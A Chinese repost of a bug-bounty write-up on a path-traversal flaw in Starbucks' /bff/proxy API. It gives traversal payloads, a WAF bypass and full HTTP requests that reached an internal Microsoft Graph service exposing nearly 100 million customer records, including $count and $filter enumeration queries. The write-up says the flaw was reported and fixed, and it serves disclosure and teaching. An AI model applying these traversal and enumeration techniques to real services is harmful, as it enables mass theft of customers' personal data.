本文作者:公众号-掌控安全EDU
学习一下白帽小哥漏洞挖掘的一些思路
在经过一天的努力后,我在 Verizon Media 的漏洞赏金计划中一无所获,最终决定放弃,去做些杂事。我需要为一个朋友的生日买礼物,于是上网订购了一张星巴克的礼品卡。
在星巴克网站上尝试购买时,我注意到大量 API 请求,它们立刻让我产生了怀疑。有一些请求是通过以 "/bff/proxy/" 为前缀的 API 发出的,返回的数据似乎来自另一个主机。
由于星巴克有漏洞赏金计划,于是我决定进一步研究这些请求。
以下是其中一个 API 请求的示例,它返回了我的用户信息:
POST /bff/proxy/orchestra/get-user HTTP/1.1
Host: app.starbucks.com
{
"data": {
"user": {
"exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",
"firstName": "Sam",
"lastName": "Curry",
"email": "samwcurry@gmail.com",
"partnerNumber": null,
"birthDay": null,
"birthMonth": null,
"loyaltyProgram": null
}
}
}
术语 “bff” 实际上代表的是 “Backend for Frontend”,意味着用户所交互的应用会将请求转发到另一个主机,以执行实际的逻辑或功能。下面是一个非常简化的示意图,展示了它可能的工作方式:
在上述示例中,"app.starbucks.com" 主机并不具备访问特定端点所需的逻辑或数据权限,而只是作为一个代理或中间人,将请求转发到假设的第二个主机 "internal.starbucks.com"。
这里有一些值得思考的问题……
- • 我们如何测试应用的路由机制?
- • 如果应用将请求路由到内部主机,其权限模型是怎样的?
- • 我们是否可以控制发送到内部主机的路径或参数?
- • 内部主机是否存在开放重定向?如果存在,应用是否会跟随该重定向?
- • 返回的内容是否必须匹配特定的类型(比如是否解析 JSON、XML 或其他数据格式)?
我做的第一件事是尝试跳出原有 API 路径,以加载其他路径,我使用的方法是发送如下的 payload:
/bff/proxy/orchestra/get-user/..%2f
/bff/proxy/orchestra/get-user/..;/
/bff/proxy/orchestra/get-user/../
/bff/proxy/orchestra/get-user/..%00/
/bff/proxy/orchestra/get-user/..%0d/
/bff/proxy/orchestra/get-user/..%5c
/bff/proxy/orchestra/get-user/..\
/bff/proxy/orchestra/get-user/..%ff/
/bff/proxy/orchestra/get-user/%2e%2e%2f
/bff/proxy/orchestra/get-user/.%2e/
/bff/proxy/orchestra/get-user/%3f (?)
/bff/proxy/orchestra/get-user/%26 (&)
/bff/proxy/orchestra/get-user/%23 (#)
遗憾的是,这些方法都没有奏效。它们返回的都是我通常在尝试加载一个站点上不存在的页面时看到的同样的 404 页面。
这表明,仅仅因为请求的路径在 "/bff/proxy" 下,并不意味着它会传递我之后发送的所有内容。它的行为可能要明确得多。
在这种情况下,我们可以把 "/bff/proxy/orchestra/get-user" 看作是一个不接受用户输入的函数。我们有可能找到一个接受用户输入的函数,比如 "/bff/proxy/users/:id",这样我们就可以尝试各种输入并测试它能接受哪些数据。如果我们能找到这样的 API 调用,那使用路径遍历 payload 和发送其他数据的成功率可能就会更高,因为它确实接收了用户输入。
我在应用中继续寻找,直到我发现了几个新的 API 调用。其中第一个接受用户输入的调用如下:
GET /bff/proxy/stream/v1/me/streamItems/:streamItemId HTTP/1.1
Host: app.starbucks.com
这个端点与 “get-user” 端点不同,它的最后一个路径部分是作为一个参数存在的,我们可以传入任意的输入。如果这些输入在内部系统中被当作路径处理,那么我们就有可能进行路径遍历,访问其他内部端点。
幸运的是,我尝试的第一个测试就返回了一个非常明显的迹象,表明我们确实可以进行路径遍历:
GET /bff/proxy/stream/v1/users/me/streamItems/..\ HTTP/1.1
Host: app.starbucks.com
{
"errors": [
{
"message": "Not Found",
"errorCode": 404,
...
这个 JSON 响应与所有正常的 "/bff/proxy" 下的 API 调用返回的响应相同,这表明我们确实成功访问到了内部系统,并且成功修改了请求的路径。下一步就是对内部系统进行映射,最好的方法就是通过路径遍历找到返回 “400 Bad Request” 的第一个路径,从而定位到根目录。
但可惜的是,我遇到了一点小障碍。存在一个 WAF(Web 应用防火墙),它不允许我进行两级目录的路径遍历:
GET /bff/proxy/stream/v1/users/me/streamItems/..\..\ HTTP/1.1
Host: app.starbucks.com
HTTP/1.1 403 Forbidden
幸运的是,WAF 的效果通常都很差:
GET /bff/proxy/stream/v1/me/streamItems/web\..\.\..\ HTTP/1.1
Host: app.starbucks.com
{
"errors": [
{
"message": "Not Found",
"errorCode": 404,
...
最终,在向上遍历了 7 层路径后,我收到了如下错误信息:
GET /bff/proxy/stream/v1/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\..\ HTTP/1.1
Host: app.starbucks.com
{
"errors": [
{
"message": "Bad Request",
"errorCode": 400,
...
这意味着内部 API 的根路径在向上回溯 6 层的位置,我们可以使用目录爆破工具,或者直接使用 Burp Suite 的 Intruder 搭配一个字典来对其进行映射。
此时,我联系了 Justin Gardner 一起研究这个问题,因为我对这个功能非常感兴趣。
他几乎立刻就识别出了一些位于内部系统根路径的路径,他的方法是:通过 Burp 的 Intruder 向这些路径发送不带斜杠的 HTTP 请求,观察是否会返回重定向状态码:
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search
Host: app.starbucks.com
HTTP/1.1 301 Moved Permanently
Server: nginx
Content-Type: text/html
Content-Length: 162
Location: /search/
当 Justin 专注于寻找所有端点时,我则逐个目录进行分析。经过扫描,我发现 "search" 目录下存在 "v1",而在 "v1" 目录下则有 "Accounts" 和 "Addresses"。
我给 Justin (白帽小哥朋友)发了一条消息,想着如果 "/search/v1/accounts" 端点是用于搜索所有生产账户,那该多离谱……
事实正是如此。
“/search/v1/accounts” 是一个 Microsoft Graph 实例,拥有访问所有星巴克账户的权限。
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Accounts\ HTTP/1.1
Host: app.starbucks.com
{
"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
"value": [
{
"Id": 1,
"ExternalId": "12345",
"UserName": "UserName",
"FirstName": "FirstName",
"LastName": "LastName",
"EmailAddress": "0640DE@example.com",
"Submarket": "US",
"PartnerNumber": null,
"RegistrationDate": "1900-01-01T00:00:00Z",
"RegistrationSource": "iOSApp",
"LastUpdated": "2017-06-01T15:32:56.4925207Z"
},
...
大量的生产账户信息泄露
此外,"Addresses" 端点返回的内容也类似……
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Addresses\ HTTP/1.1
Host: app.starbucks.com
{
"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Addresses",
"value": [
{
"Id": 1,
"AccountId": 1,
"AddressType": "3",
"AddressLine1": null,
"AddressLine2": null,
"AddressLine3": null,
"City": null,
"PostalCode": null,
"Country": null,
"CountrySubdivision": null,
"FirstName": null,
"LastName": null,
"PhoneNumber": null
},
...
大量的地址信息泄露
这是一个用于生产账户和地址的服务。我们开始利用 Microsoft Graph 的功能进一步探索该服务,以确认我们的猜测。
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$count=true
Host: app.starbucks.com
{
"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
"@odata.count":99356059
}
通过在 Microsoft Graph URL 中添加 "参数,我们可以确定该服务拥有近一亿条记录。攻击者可以通过添加类似skip" 和 "$count" 的参数,枚举所有用户账户,从而窃取这些数据。
此外,为了精准定位某个特定用户账户,攻击者还可以使用 "$filter" 参数:
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1
Host: app.starbucks.com
{
"@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts",
"value": [
{
"Id": 81763022,
"ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354",
"UserName": "redacted@gmail.com",
"FirstName": "Justin",
"LastName": "Gardner",
"EmailAddress": "redacted@gmail.com",
"Submarket": "US",
"PartnerNumber": null,
"RegistrationDate": "2018-05-19T18:52:15.0763564Z",
"RegistrationSource": "Android",
"LastUpdated": "2020-05-16T23:28:39.3426069Z"
}
]
}
鉴于事态的敏感性,我们立即进行了漏洞报告。仍有许多 API 未及深入探索,还有一些我们发现的其他端点包括……
barcode, loyalty, appsettings, card, challenge, content, identifier, identity, onboarding, orderhistory, permissions, product, promotion, account, billingaddress, enrollment, location, music, offers, rewards, keyserver
这些其他内部端点很可能(尽管未确认)允许我们访问和修改诸如账单地址、礼品卡、奖励和优惠等信息。
我们当前的概念验证显示,能够访问近一亿星巴克客户的姓名、电子邮件、电话号码和地址。
星巴克团队对该问题响应迅速,在一天内完成了修复。
总结
- "app.starbucks.com" 上的 "/bff/proxy/" 下的端点将请求内部路由,以检索和存储数据。
- 可以通过遍历这些 API 调用,访问内部主机上本不该被访问的 URL。
- 内部 API 暴露了一个 Microsoft Graph 实例,攻击者可借此窃取近一亿用户记录,包括姓名、电子邮件、电话号码和地址。
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关
网络安全学习路线/web安全入门/渗透测试实战/红队笔记/黑客入门
感谢各位看官看到这里,欢迎一键三连(点赞+关注+收藏)以及评论区留言,也欢迎查看我主页的个人简介进行咨询哦,我将持续分享精彩内容